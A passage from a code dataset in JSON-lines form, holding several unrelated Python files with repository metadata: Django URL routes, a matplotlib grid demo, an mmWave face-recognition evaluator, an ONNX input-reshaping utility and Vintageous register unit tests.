order.order_id,\n 'customer_uid': None,\n }\n\n @pytest.fixture\n def response_func(self, payments_client, test_data):\n async def _inner(**kwargs):\n return await payments_client.post(test_data['path'], json=kwargs)\n\n return _inner\n\n def test_params(self, test_data, response, action):\n action.assert_called_once_with(**test_data['context'])\n\n @pytest.mark.asyncio\n @pytest.mark.parametrize('internal_api', (True,))\n async def test_service_data(self, rands, action, service_merchant_context, response_func):\n service_data = {rands(): rands()}\n await response_func(service_data=service_data)\n action.assert_called_once_with(**service_merchant_context, service_data=service_data)\n","repo_name":"Alexander-Berg/2022-test-examples-3","sub_path":"mail/tests/unit/api/handlers/test_order.py","file_name":"test_order.py","file_ext":"py","file_size_in_byte":38798,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"19787319017","text":"from django.urls import path\nfrom django.views.generic import DetailView\n\nfrom . import views\nfrom .models import Book\nfrom .views import RoomListView, RoomCreateView, BookcaseListView, BookcaseCreateView, ShelfListView, ShelfCreateView, \\\n BookAddView, BookListView, BooksDeleteView, MainManageLibrary, BookUpdateView, BookAddISBNView\n\nurlpatterns = [\n path('', MainManageLibrary.as_view(template_name=\"manage_library/main_manage_library.html\"),\n name=\"main_manage_library\"),\n path('listallbooks/', BookListView.as_view(template_name=\"manage_library/books_all.html\"), name=\"list-all-books\"),\n path('detailsbook/', DetailView.as_view(model=Book), name=\"show-book-details\"),\n path('changebookstatus/', views.change_book_status, name=\"change-book-status\"),\n\n path('changebookshelf/', views.ChangeBookShelf.as_view(model=Book), name=\"change-book-shelf\"),\n\n path('addnewbook/', BookAddView.as_view(template_name=\"manage_library/add_book.html\"), name=\"add-new-book\"),\n path('addnewbookisbn/', BookAddISBNView.as_view(template_name=\"manage_library/add_book_isbn.html\"), name=\"add-new-book-isbn\"),\n path('listallbooks//delete/',\n BooksDeleteView.as_view(template_name='manage_library/book_confirm_delete.html'),\n name='book_delete'),\n path('detailsbook//update/', BookUpdateView.as_view(template_name='manage_library/book_update.html'), name='book_update'),\n path('room/', RoomListView.as_view(template_name='manage_library/rooms_all.html'), name=\"all-rooms\"),\n path('addroom/', RoomCreateView.as_view(template_name='manage_library/add_room.html'), name=\"add-room\"),\n path('bookcase/', BookcaseListView.as_view(template_name='manage_library/bookcase_all.html'), name=\"all-bookcases\"),\n path('addbookcase/', BookcaseCreateView.as_view(template_name='manage_library/add_bookcase.html'),\n name=\"add-bookcase\"),\n path('shelf/', ShelfListView.as_view(template_name='manage_library/shelf_all.html'), name=\"all-shelves\"),\n path('addshelf/', ShelfCreateView.as_view(template_name='manage_library/add_shelf.html'), name=\"add-shelf\"),\n\n]\n","repo_name":"milena-marcinik/projk_gr_1","sub_path":"manage_library/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":2141,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"} +{"seq_id":"6890033409","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\nimport numpy as np\nimport matplotlib\nimport matplotlib.path as path\nimport matplotlib.pyplot as plt\nimport matplotlib.patches as patches\nfrom matplotlib.ticker import MultipleLocator\n\nfig = plt.figure(figsize=(8,6), dpi=72,facecolor=\"white\")\naxes = plt.subplot(111, aspect=1,axisbelow=True)\naxes.set_xlim(0,4)\naxes.set_ylim(0,4)\n\naxes.xaxis.set_major_locator(MultipleLocator(1.0))\naxes.xaxis.set_minor_locator(MultipleLocator(0.1))\naxes.yaxis.set_major_locator(MultipleLocator(1.0))\naxes.yaxis.set_minor_locator(MultipleLocator(0.1))\n\npatch = patches.Circle((.65,.65), radius=.25, transform=axes.transAxes,\n facecolor='none', edgecolor='black',zorder=1)\naxes.grid(which='major', axis='x', color='0.75',\n linewidth=0.75, linestyle='-', clip_path=patch)\naxes.grid(which='minor', axis='x', color='0.75',\n linewidth=0.25, linestyle='-', clip_path=patch)\naxes.grid(which='major', axis='y', color='0.75',\n linewidth=0.75, linestyle='-', clip_path=patch)\naxes.grid(which='minor', axis='y', color='0.75',\n linewidth=0.25, linestyle='-', clip_path=patch)\naxes.add_patch(patch)\n\n\nplt.show()\n","repo_name":"rougier/gallery","sub_path":"grid/grid-7.py","file_name":"grid-7.py","file_ext":"py","file_size_in_byte":1185,"program_lang":"python","lang":"en","doc_type":"code","stars":46,"dataset":"github-code","pt":"72"} +{"seq_id":"12788953147","text":"import os\nos.environ['TF_CPP_MIN_LOG_LEVEL'] = '1'\nimport tensorflow as tf\nimport numpy as np\nfrom mmwave_code.display_utils import *\nfrom mmwave_code.data_loader import DataLoader\nfrom mmwave_code.data_loader import get_points\nfrom mmwave_code.mmwave_processor import MMWaveProcessor\nfrom mmwave_code.prepare_data import create_dataset\nimport gc\nfrom model_code.basicCNN import CnnNetwork\nfrom tqdm import tqdm\n\n\nclass Evaluator:\n def __init__(self, file_names, model_params):\n self.file_names = file_names\n self.data_source_names = file_names # + [name + \"_with_mask\" for name in file_names]\n self.frame_aggregate = model_params[\"frame_aggregate\"]\n self.num_points = [500]\n self.range_fft_values = [256]\n self.model_params = model_params\n pass\n\n def generate_data(self, mm_wave_params):\n print(\"Data will be generated for the following names: \\n\")\n print(self.data_source_names)\n for name in self.data_source_names:\n for value in self.range_fft_values:\n dl = DataLoader(mm_wave_params)\n print(\"Loading & Processing Data for FFT Value: \"+str(value))\n dl.range_bins = value\n adc_data = dl.get_data(\"data/final_captures/\" + name + \"/\", \"face_scan_\" + name)\n print(\"Loaded ADC Data for \" + name)\n processor = MMWaveProcessor(dl.range_resolution, dl.doppler_resolution, range_bins=dl.range_bins,\n doppler_bins=dl.doppler_bins, angular_bins=dl.angle_bins)\n print(\"Processing Data...\")\n for i, n_points in enumerate(self.num_points):\n points = get_points(adc_data, processor, dl, aggregate=self.frame_aggregate,\n num_points=n_points)\n np.save(\"data/final_numpy/\" +\n str(value) + \"_\" + name + \"_\" + str(n_points) + \"_data.npy\", points)\n print(\"\\n\" + str(i + 1) + \" out of \" + str(len(self.num_points)) + \" completed\\n\")\n\n gc.collect()\n\n print(\"Processed!\\n\")\n\n \"\"\"\n By the end here, you have generated numpy arrays for:\n 7 Names\n Each Name generates data for:\n 3 Range FFT Values\n 3 Num of Points\n \n Therefore 7*9 = 63 Numpy Files\n Individual Models need to be trained for each subset of 7 data.\n \"\"\"\n\n pass\n\n @staticmethod\n def generate_data_set(train_names, test_names, bs=64, frame_aggregate=10, with_snr=True, mask_params=None):\n # Let this function generate only the necessary dataset for that iteration of training and testing.\n label_list = [i for i in range(len(train_names))]\n tr_data, val_data, test_data = create_dataset(train_names,\n label_list, batch_size=bs,\n aggregate=frame_aggregate,\n classes=len(train_names), with_snr=with_snr)\n if mask_params is None:\n mask_data, _, _ = create_dataset(test_names,\n label_list, train_split=1.0, test_split=0, val_split=0,\n batch_size=bs, aggregate=frame_aggregate, classes=len(train_names),\n with_snr=with_snr)\n return tr_data, val_data, test_data, mask_data\n else:\n mask_data_tr, mask_data_val, mask_data_test = create_dataset(test_names, label_list,\n train_split=mask_params[\"train\"],\n test_split=mask_params[\"test\"],\n val_split=mask_params[\"val\"], batch_size=bs,\n aggregate=frame_aggregate,\n classes=len(train_names), with_snr=with_snr)\n return tr_data, val_data, test_data, mask_data_tr, mask_data_val, mask_data_test\n\n def evaluate_model(self, n_points, fft_value, return_confusion=False, with_snr=True, mask_params=None):\n # Initialize Model\n model_class = CnnNetwork(num_points=n_points, with_snr=with_snr)\n\n # Obtain Datasets\n train_names = [\"data/final_numpy/\" + str(fft_value) + \"_\" + name + \"_\" + str(n_points) + \"_data.npy\"\n for name in self.file_names]\n test_names = [\"data/final_numpy/\" + str(fft_value) + \"_\" + name + \"_with_mask_\" + str(n_points) + \"_data.npy\"\n for name in self.file_names]\n if mask_params is None:\n tr_data, val_data, test_data, mask_test = self.generate_data_set(train_names, test_names,\n self.model_params[\"batch_size\"],\n self.frame_aggregate,\n with_snr=with_snr)\n else:\n tr_data, val_data, test_data, \\\n mask_tr, mask_val, mask_test = self.generate_data_set(train_names, test_names,\n self.model_params[\"batch_size\"],\n self.frame_aggregate,\n with_snr=with_snr,\n mask_params=mask_params)\n tr_data = tr_data.concatenate(mask_tr)\n val_data = val_data.concatenate(mask_val)\n\n # Train Model\n model = model_class.initialize_model(classes=len(train_names))\n model.compile(optimizer=tf.keras.optimizers.Adam(learning_rate=self.model_params[\"learning_rate\"]),\n loss=self.model_params[\"loss_function\"], metrics=self.model_params[\"metrics\"])\n\n history = model.fit(x=tr_data, validation_data=val_data, epochs=self.model_params[\"epochs\"])\n\n np.save(\"final_model_performance/\" + str(fft_value) + \"_\" + str(n_points) + \"_model_perf\", history.history)\n title = \"Num Points: \" + str(n_points) + \" Range FFT Size: \" + str(fft_value)\n plot_history(history, title)\n\n print(\"\\n***Testing Model***\")\n test_perf = model.evaluate(test_data)\n\n print(\"\\nMASK PERFORMANCE\")\n mask_test_perf = model.evaluate(mask_test)\n\n if return_confusion:\n _, _, _, mask_test = self.generate_data_set(train_names, test_names, 1, self.frame_aggregate,\n with_snr=with_snr)\n predicted_labels = np.zeros(len(mask_test))\n true_labels = np.zeros(len(mask_test))\n i = 0\n for data_set, label_set in tqdm(mask_test):\n predicted_labels_set = model.predict(data_set)\n if predicted_labels_set.any():\n predicted_labels[i] = np.argwhere(predicted_labels_set == np.max(predicted_labels_set))[:, 1]\n true_labels[i] = np.int8(np.argwhere(label_set == 1)[:, 1])\n i += 1\n\n print(predicted_labels)\n print(true_labels)\n conf_matrix = tf.math.confusion_matrix(tf.convert_to_tensor(true_labels),\n tf.convert_to_tensor(predicted_labels), len(train_names))\n return test_perf, mask_test_perf, conf_matrix\n else:\n return test_perf, mask_test_perf\n\n def perf_monitor(self, get_c_matrix=False, with_snr=True, mask_params=None):\n for fft_value in self.range_fft_values:\n for n_point in self.num_points:\n print(\"\\nEvaluating Model for \\nRange FFT: \"+str(fft_value)+\" \\tNum Points: \"+str(n_point))\n if get_c_matrix:\n if mask_params is None:\n test_acc, mask_test_acc, conf_matrix = self.evaluate_model(n_point, fft_value,\n return_confusion=get_c_matrix,\n with_snr=with_snr)\n else:\n print(\"***\")\n print(\" Poisoning Training with \"+str(mask_params[\"train\"]*100)+\"% of Masked Data\")\n test_acc, mask_test_acc, conf_matrix = self.evaluate_model(n_point, fft_value,\n return_confusion=get_c_matrix,\n with_snr=with_snr,\n mask_params=mask_params)\n confusion_matrix(conf_matrix, name_len=len(self.file_names))\n else:\n if mask_params is None:\n test_acc, mask_test_acc = self.evaluate_model(n_point, fft_value)\n else:\n test_acc, mask_test_acc = self.evaluate_model(n_point, fft_value, mask_params=mask_params)\n\n print(\"\\n Achieved Testing Accuracy Without Mask: \" + str(test_acc[1]))\n print(\"\\n Achieved Testing Accuracy With Mask: \" + str(mask_test_acc[1]))\n\n\n\n","repo_name":"asaayush/WaveFace","sub_path":"evaluate_models.py","file_name":"evaluate_models.py","file_ext":"py","file_size_in_byte":9731,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"72"} +{"seq_id":"8086663859","text":"from django.core.checks import register\nfrom django.template.loader import get_template, TemplateDoesNotExist\n\n\n@register('cms')\ndef check_cms_configuration(app_config=None, **kwargs):\n result = []\n try:\n get_template('admin:admin/base.html')\n except TemplateDoesNotExist:\n print('error!!!!!')\n return result\n","repo_name":"llango/custom-django-admin-panel","sub_path":"cms/checks.py","file_name":"checks.py","file_ext":"py","file_size_in_byte":335,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"7484770886","text":"import onnx\nimport math\nimport os\nfrom typing import List\n\n\ndef reshape(model, n: int = 1, h: int = 480, w: int = 640, mode='auto'):\n '''\n :param model: Input ONNX model object\n :param n: Batch size dimension\n :param h: Height dimension\n :param w: Width dimension\n :param mode: Set `retinaface` to reshape RetinaFace model, otherwise reshape Centerface\n :return: ONNX model with reshaped input and outputs\n '''\n if mode == 'auto':\n # Assert that retinaface models have outputs containing word 'stride' in their names\n\n out_name = model.graph.output[0].name\n if 'stride' in out_name.lower():\n mode = 'retinaface'\n elif out_name.lower() == 'fc1':\n mode = 'arcface'\n else:\n mode = 'centerface'\n\n d = model.graph.input[0].type.tensor_type.shape.dim\n d[0].dim_value = n\n if mode != 'arcface':\n d[2].dim_value = h\n d[3].dim_value = w\n divisor = 4\n for output in model.graph.output:\n if mode == 'retinaface':\n divisor = int(output.name.split('stride')[-1])\n d = output.type.tensor_type.shape.dim\n d[0].dim_value = n\n if mode != 'arcface':\n d[2].dim_value = math.ceil(h / divisor)\n d[3].dim_value = math.ceil(w / divisor)\n return model\n\n\ndef reshape_onnx_input(onnx_path: str, out_path: str, im_size: List[int] = None, batch_size: int = 1,\n mode: str = 'auto'):\n '''\n Reshape ONNX file input and output for different image sizes. Only applicable for MXNet Retinaface models\n and official Centerface models.\n\n :param onnx_path: Path to input ONNX file\n :param out_path: Path to output ONNX file\n :param im_size: Desired output image size in W, H format. Default: [640, 480]\n :param mode: Available modes: retinaface, centerface, auto (try to detect if input model is retina- or centerface)\n :return:\n '''\n\n if im_size is None:\n im_size = [640, 480]\n\n model = onnx.load(onnx_path)\n reshaped = reshape(model, n=batch_size, h=im_size[1], w=im_size[0], mode=mode)\n\n with open(out_path, \"wb\") as file_handle:\n serialized = reshaped.SerializeToString()\n file_handle.write(serialized)\n","repo_name":"SthPhoenix/InsightFace-REST","sub_path":"scratch/converters/modules/converters/reshape_onnx.py","file_name":"reshape_onnx.py","file_ext":"py","file_size_in_byte":2239,"program_lang":"python","lang":"en","doc_type":"code","stars":414,"dataset":"github-code","pt":"72"} +{"seq_id":"7168268087","text":"import csv\nimport pandas as pd\n\n# Setup the dataframe for the Set.\ndf = pd.read_csv(\"/Users/sraavanchevireddy/Downloads/netflix_titles.csv\")\nprint(df) # This will return a matrix of the dataset.\n\n# To select only few datasets.Use this key style\nmanipulatedData = pd.DataFrame(df, columns= ['show_id','type','title','country','date_added',])\n\nprint(\"This is the changed data for the selected labels\")\nprint(manipulatedData)\n\n# Get all movies in the list.\nsampleMovieSpace = pd.DataFrame(manipulatedData,columns=['type'])\n\n\n\n","repo_name":"SraavanChevireddy/PythonBasics","sub_path":"__pycache__/DecisonTree/DataLoader.py","file_name":"DataLoader.py","file_ext":"py","file_size_in_byte":524,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"} +{"seq_id":"35259042315","text":"import glob\nimport os\nimport sys\nfrom tqdm import tqdm\nimport nibabel as nib\nimport matplotlib.pyplot as plt\n\n\ndef main(data_dir):\n images = glob.glob(os.path.join(data_dir, \"*.nii.gz\"))\n data_dict = [\n {\"image\": image}\n for image in images\n ]\n headerList = []\n total=0\n # apply transforms\n for i, data in tqdm(enumerate(data_dict)):\n image=nib.load(data[\"image\"])\n header=image.header\n headerList.append(header['pixdim'][1:4])\n if header['pixdim'][1:4][0]-1.5<0.001 and \\\n header['pixdim'][1:4][1]-1.5<0.001 and \\\n header['pixdim'][1:4][2]-1.5<0.001:\n total+=1\n plt.plot(range(len(headerList)), headerList)\n print(headerList)\n print(total)\n plt.show()\n\n\nif __name__ == \"__main__\":\n args = sys.argv[1:]\n main(*args)","repo_name":"OliverrrD/lobe_seg_downsampled","sub_path":"distribution_pixdim.py","file_name":"distribution_pixdim.py","file_ext":"py","file_size_in_byte":829,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"7503183936","text":"import unittest\nimport builtins\n\nimport sublime\n\nfrom unittest import mock\nfrom Vintageous.vi import registers\nfrom Vintageous.vi.registers import Registers\nfrom Vintageous.vi.settings import SettingsManager\nfrom Vintageous.state import State\nfrom Vintageous.tests import ViewTest\n\n\nclass TestCaseRegistersConstants(unittest.TestCase):\n def testUnnamedConstantValue(self):\n self.assertEqual(registers.REG_UNNAMED, '\"')\n\n def testSmallDeleteConstantValue(self):\n self.assertEqual(registers.REG_SMALL_DELETE, '-')\n\n def testBlackHoleConstantValue(self):\n self.assertEqual(registers.REG_BLACK_HOLE, '_')\n\n def testLastInsertedTextConstantValue(self):\n self.assertEqual(registers.REG_LAST_INSERTED_TEXT, '.')\n\n def testFileNameConstantValue(self):\n self.assertEqual(registers.REG_FILE_NAME, '%')\n\n def testAltFileNameConstantValue(self):\n self.assertEqual(registers.REG_ALT_FILE_NAME, '#')\n\n def testExpressionConstantValue(self):\n self.assertEqual(registers.REG_EXPRESSION, '=')\n\n def testSysClipboard1ConstantValue(self):\n self.assertEqual(registers.REG_SYS_CLIPBOARD_1, '*')\n\n def testSysClipboard2ConstantValue(self):\n self.assertEqual(registers.REG_SYS_CLIPBOARD_2, '+')\n\n def testSysClipboardAllConstantValue(self):\n self.assertEqual(registers.REG_SYS_CLIPBOARD_ALL,\n (registers.REG_SYS_CLIPBOARD_1,\n registers.REG_SYS_CLIPBOARD_2,))\n\n def testValidRegisterNamesConstantValue(self):\n names = tuple(\"{0}\".format(c) for c in \"abcdefghijklmnopqrstuvwxyz\")\n self.assertEqual(registers.REG_VALID_NAMES, names)\n\n def testValidNumberNamesConstantValue(self):\n names = tuple(\"{0}\".format(c) for c in \"0123456789\")\n self.assertEqual(registers.REG_VALID_NUMBERS, names)\n\n def testSysClipboardAllConstantValue(self):\n self.assertEqual(registers.REG_SPECIAL,\n (registers.REG_UNNAMED,\n registers.REG_SMALL_DELETE,\n registers.REG_BLACK_HOLE,\n registers.REG_LAST_INSERTED_TEXT,\n registers.REG_FILE_NAME,\n registers.REG_ALT_FILE_NAME,\n registers.REG_SYS_CLIPBOARD_1,\n registers.REG_SYS_CLIPBOARD_2,))\n\n def testAllConstantValue(self):\n self.assertEqual(registers.REG_ALL,\n (registers.REG_SPECIAL +\n registers.REG_VALID_NUMBERS +\n registers.REG_VALID_NAMES))\n\n\nclass TestCaseRegisters(ViewTest):\n def setUp(self):\n super().setUp()\n sublime.set_clipboard('')\n registers._REGISTER_DATA = registers.init_register_data()\n self.view.settings().erase('vintage')\n self.view.settings().erase('vintageous_use_sys_clipboard')\n # self.regs = Registers(view=self.view,\n # settings=SettingsManager(view=self.view))\n self.regs = State(self.view).registers\n\n def tearDown(self):\n super().tearDown()\n registers._REGISTER_DATA = registers.init_register_data()\n\n def testCanInitializeClass(self):\n self.assertEqual(self.regs.view, self.view)\n self.assertTrue(getattr(self.regs, 'settings'))\n\n def testCanSetUnanmedRegister(self):\n self.regs._set_default_register([\"foo\"])\n self.assertEqual(registers._REGISTER_DATA[registers.REG_UNNAMED],\n [\"foo\"])\n\n def testSettingLongRegisterNameThrowsAssertionError(self):\n self.assertRaises(AssertionError, self.regs.set, \"aa\", \"foo\")\n\n def testSettingNonListValueThrowsAssertionError(self):\n self.assertRaises(AssertionError, self.regs.set, \"a\", \"foo\")\n\n @unittest.skip(\"Not implemented.\")\n def testUnknownRegisterNameThrowsException(self):\n # XXX Doesn't pass at the moment.\n self.assertRaises(Exception, self.regs.set, \"~\", \"foo\")\n\n def testRegisterDataIsAlwaysStoredAsString(self):\n self.regs.set('\"', [100])\n self.assertEqual(registers._REGISTER_DATA[registers.REG_UNNAMED],\n [\"100\"])\n\n def testSettingBlackHoleRegisterDoesNothing(self):\n registers._REGISTER_DATA[registers.REG_UNNAMED] = [\"bar\"]\n # In this case it doesn't matter whether we're setting a list or not,\n # because we are discarding the value anyway.\n self.regs.set(registers.REG_BLACK_HOLE, \"foo\")\n self.assertTrue(registers.REG_BLACK_HOLE not in registers._REGISTER_DATA)\n self.assertTrue(registers._REGISTER_DATA[registers.REG_UNNAMED], [\"bar\"])\n\n def testSettingExpressionRegisterDoesntPopulateUnnamedRegister(self):\n self.regs.set(\"=\", [100])\n self.assertTrue(registers.REG_UNNAMED not in registers._REGISTER_DATA)\n self.assertEqual(registers._REGISTER_DATA[registers.REG_EXPRESSION],\n [\"100\"])\n\n def testCanSetNormalRegisters(self):\n for name in registers.REG_VALID_NAMES:\n self.regs.set(name, [name])\n\n for number in registers.REG_VALID_NUMBERS:\n self.regs.set(number, [number])\n\n for name in registers.REG_VALID_NAMES:\n self.assertEqual(registers._REGISTER_DATA[name], [name])\n\n for number in registers.REG_VALID_NUMBERS:\n self.assertEqual(registers._REGISTER_DATA[number], [number])\n\n def testSettingNormalRegisterSetsUnnamedRegisterToo(self):\n self.regs.set('a', [100])\n self.assertEqual(registers._REGISTER_DATA[registers.REG_UNNAMED], ['100'])\n\n self.regs.set('0', [200])\n self.assertEqual(registers._REGISTER_DATA[registers.REG_UNNAMED], ['200'])\n\n def testSettingRegisterSetsClipboardIfNeeded(self):\n self.regs.settings.view['vintageous_use_sys_clipboard'] = True\n self.regs.set('a', [100])\n self.assertEqual(sublime.get_clipboard(), '100')\n\n def testCanAppendToSingleValue(self):\n self.regs.set('a', ['foo'])\n self.regs.append_to('A', ['bar'])\n self.assertEqual(registers._REGISTER_DATA['a'], ['foobar'])\n\n def testCanAppendToMultipleBalancedValues(self):\n self.regs.set('a', ['foo', 'bar'])\n self.regs.append_to('A', ['fizz', 'buzz'])\n self.assertEqual(registers._REGISTER_DATA['a'], ['foofizz', 'barbuzz'])\n\n def testCanAppendToMultipleValuesMoreExistingValues(self):\n self.regs.set('a', ['foo', 'bar'])\n self.regs.append_to('A', ['fizz'])\n self.assertEqual(registers._REGISTER_DATA['a'], ['foofizz', 'bar'])\n\n def testCanAppendToMultipleValuesMoreNewValues(self):\n self.regs.set('a', ['foo'])\n self.regs.append_to('A', ['fizz', 'buzz'])\n self.assertEqual(registers._REGISTER_DATA['a'], ['foofizz', 'buzz'])\n\n def testAppendingSetsDefaultRegister(self):\n self.regs.set('a', ['foo'])\n self.regs.append_to('A', ['bar'])\n self.assertEqual(registers._REGISTER_DATA[registers.REG_UNNAMED],\n ['foobar'])\n\n def testAppendSetsClipboardIfNeeded(self):\n self.regs.settings.view['vintageous_use_sys_clipboard'] = True\n self.regs.set('a', ['foo'])\n self.regs.append_to('A', ['bar'])\n self.assertEqual(sublime.get_clipboard(), 'foobar')\n\n def testGetDefaultToUnnamedRegister(self):\n registers._REGISTER_DATA['\"'] = ['foo']\n self.view.settings().set('vintageous_use_sys_clipboard', False)\n self.assertEqual(self.regs.get(), ['foo'])\n\n def testGettingBlackHoleRegisterReturnsNone(self):\n self.assertEqual(self.regs.get(registers.REG_BLACK_HOLE), None)\n\n def testCanGetFileNameRegister(self):\n fname = self.regs.get(registers.REG_FILE_NAME)\n self.assertEqual(fname, [self.view.file_name()])\n\n def testCanGetClipboardRegisters(self):\n self.regs.set(registers.REG_SYS_CLIPBOARD_1, ['foo'])\n self.assertEqual(self.regs.get(registers.REG_SYS_CLIPBOARD_1), ['foo'])\n self.assertEqual(self.regs.get(registers.REG_SYS_CLIPBOARD_2), ['foo'])\n\n self.regs.set(registers.REG_SYS_CLIPBOARD_2, ['bar'])\n self.assertEqual(self.regs.get(registers.REG_SYS_CLIPBOARD_1), ['bar'])\n self.assertEqual(self.regs.get(registers.REG_SYS_CLIPBOARD_2), ['bar'])\n\n def testGetSysClipboardAlwaysIfRequested(self):\n self.regs.settings.view['vintageous_use_sys_clipboard'] = True\n sublime.set_clipboard('foo')\n self.assertEqual(self.regs.get(), ['foo'])\n\n def testGettingExpressionRegisterClearsExpressionRegister(self):\n registers._REGISTER_DATA[registers.REG_EXPRESSION] = ['100']\n self.view.settings().set('vintageous_use_sys_clipboard', False)\n self.assertEqual(self.regs.get(), ['100'])\n self.assertEqual(registers._REGISTER_DATA[registers.REG_EXPRESSION], '')\n\n def testCanGetNumberRegister(self):\n registers._REGISTER_DATA['1-9'][4] = ['foo']\n self.assertEqual(self.regs.get('5'), ['foo'])\n\n def testCanGetRegisterEvenIfRequestingItThroughACapitalLetter(self):\n registers._REGISTER_DATA['a'] = ['foo']\n self.assertEqual(self.regs.get('A'), ['foo'])\n\n def testCanGetRegistersWithDictSyntax(self):\n registers._REGISTER_DATA['a'] = ['foo']\n self.assertEqual(self.regs.get('a'), self.regs['a'])\n\n def testCanSetRegistersWithDictSyntax(self):\n self.regs['a'] = ['100']\n self.assertEqual(self.regs['a'], ['100'])\n\n def testCanAppendToRegisteWithDictSyntax(self):\n self.regs['a'] = ['100']\n self.regs['A'] = ['100']\n self.assertEqual(self.regs['a'], ['100100'])\n\n def testCanConvertToDict(self):\n self.regs['a'] = ['100']\n self.regs['b'] = ['200']\n values = {name: self.regs.get(name) for name in registers.REG_ALL}\n values.update({'a': ['100'], 'b': ['200']})\n self.assertEqual(self.regs.to_dict(), values)\n\n def testGettingEmptyRegisterReturnsNone(self):\n self.assertEqual(self.regs.get('a'), None)\n\n def testCanSetSmallDeleteRegister(self):\n self.regs[registers.REG_SMALL_DELETE] = ['foo']\n self.assertEqual(registers._REGISTER_DATA[registers.REG_SMALL_DELETE], ['foo'])\n\n def testCanGetSmallDeleteRegister(self):\n registers._REGISTER_DATA[registers.REG_SMALL_DELETE] = ['foo']\n self.assertEqual(self.regs.get(registers.REG_SMALL_DELETE), ['foo'])\n\n\nclass Test_get_selected_text(ViewTest):\n def setUp(self):\n super().setUp()\n sublime.set_clipboard('')\n registers._REGISTER_DATA = registers.init_register_data()\n self.view.settings().erase('vintage')\n self.view.settings().erase('vintageous_use_sys_clipboard')\n self.regs = State(self.view).registers\n self.regs.view = mock.Mock()\n\n def tearDown(self):\n super().tearDown()\n registers._REGISTER_DATA = registers.init_register_data()\n\n def testExtractsSubstrings(self):\n self.regs.view.sel.return_value = [10, 20, 30]\n\n class vi_cmd_data:\n _synthetize_new_line_at_eof = False\n _yanks_linewise = False\n\n self.regs.get_selected_text(vi_cmd_data)\n self.assertEqual(self.regs.view.substr.call_count, 3)\n\n def testReturnsFragments(self):\n self.regs.view.sel.return_value = [10, 20, 30]\n self.regs.view.substr.side_effect = lambda x: x\n\n class vi_cmd_data:\n _synthetize_new_line_at_eof = False\n _yanks_linewise = False\n\n rv = self.regs.get_selected_text(vi_cmd_data)\n self.assertEqual(rv, [10, 20, 30])\n\n def testCanSynthetizeNewLineAtEof(self):\n self.regs.view.substr.return_value = \"AAA\"\n self.regs.view.sel.return_value = [sublime.Region(10, 10), sublime.Region(10, 10)]\n self.regs.view.size.return_value = 0\n\n class vi_cmd_data:\n _synthetize_new_line_at_eof = True\n _yanks_linewise = False\n\n rv = self.regs.get_selected_text(vi_cmd_data)\n self.assertEqual(rv, [\"AAA\", \"AAA\\n\"])\n\n def testDoesntSynthetizeNewLineAtEofIfNotNeeded(self):\n self.regs.view.substr.return_value = \"AAA\\n\"\n self.regs.view.sel.return_value = [sublime.Region(10, 10), sublime.Region(10, 10)]\n self.regs.view.size.return_value = 0\n\n class vi_cmd_data:\n _synthetize_new_line_at_eof = True\n _yanks_linewise = False\n\n rv = self.regs.get_selected_text(vi_cmd_data)\n self.assertEqual(rv, [\"AAA\\n\", \"AAA\\n\"])\n\n def testDoesntSynthetizeNewLineAtEofIfNotAtEof(self):\n self.regs.view.substr.return_value = \"AAA\"\n self.regs.view.sel.return_value = [sublime.Region(10, 10), sublime.Region(10, 10)]\n self.regs.view.size.return_value = 100\n\n class vi_cmd_data:\n _synthetize_new_line_at_eof = True\n _yanks_linewise = False\n\n rv = self.regs.get_selected_text(vi_cmd_data)\n self.assertEqual(rv, [\"AAA\", \"AAA\"])\n\n def testCanYankLinewise(self):\n self.regs.view.substr.return_value = \"AAA\"\n self.regs.view.sel.return_value = [sublime.Region(10, 10), sublime.Region(10, 10)]\n\n class vi_cmd_data:\n _synthetize_new_line_at_eof = False\n _yanks_linewise = True\n\n rv = self.regs.get_selected_text(vi_cmd_data)\n self.assertEqual(rv, [\"AAA\\n\", \"AAA\\n\"])\n\n def testDoesNotYankLinewiseIfNonEmptyStringFollowedByNewLine(self):\n self.regs.view.substr.return_value = \"AAA\\n\"\n self.regs.view.sel.return_value = [sublime.Region(10, 10), sublime.Region(10, 10)]\n\n class vi_cmd_data:\n _synthetize_new_line_at_eof = False\n _yanks_linewise = True\n\n rv = self.regs.get_selected_text(vi_cmd_data)\n self.assertEqual(rv, [\"AAA\\n\", \"AAA\\n\"])\n\n def testYankLinewiseIfEmptyStringFollowedByNewLine(self):\n self.regs.view.substr.return_value = \"\\n\"\n self.regs.view.sel.return_value = [sublime.Region(10, 10), sublime.Region(10, 10)]\n\n class vi_cmd_data:\n _synthetize_new_line_at_eof = False\n _yanks_linewise = True\n\n rv = self.regs.get_selected_text(vi_cmd_data)\n self.assertEqual(rv, [\"\\n\", \"\\n\"])\n\n def testYankLinewiseIfTwoTrailingNewLines(self):\n self.regs.view.substr.return_value = \"\\n\\n\"\n self.regs.view.sel.return_value = [sublime.Region(10, 10), sublime.Region(10, 10)]\n\n class vi_cmd_data:\n _synthetize_new_line_at_eof = False\n _yanks_linewise = True\n\n rv = self.regs.get_selected_text(vi_cmd_data)\n self.assertEqual(rv, [\"\\n\\n\\n\", \"\\n\\n\\n\"])\n\n\nclass Test_yank(ViewTest):\n def setUp(self):\n super().setUp()\n sublime.set_clipboard('')\n registers._REGISTER_DATA = registers.init_register_data()\n self.view.settings().erase('vintage')\n self.view.settings().erase('vintageous_use_sys_clipboard')\n self.regs = State(self.view).registers\n self.regs.view = mock.Mock()\n\n def tearDown(self):\n super().tearDown()\n registers._REGISTER_DATA = registers.init_register_data()\n\n def testDontYankIfWeDontHaveTo(self):\n class vi_cmd_data:\n _can_yank = False\n _populates_small_delete_register = False\n\n self.regs.yank(vi_cmd_data)\n self.assertEqual(registers._REGISTER_DATA, {\n '1-9': [None] * 9,\n '0': None,\n })\n\n def testYanksToUnnamedRegisterIfNoRegisterNameProvided(self):\n class vi_cmd_data:\n _can_yank = True\n _synthetize_new_line_at_eof = False\n _yanks_linewise = True\n register = None\n 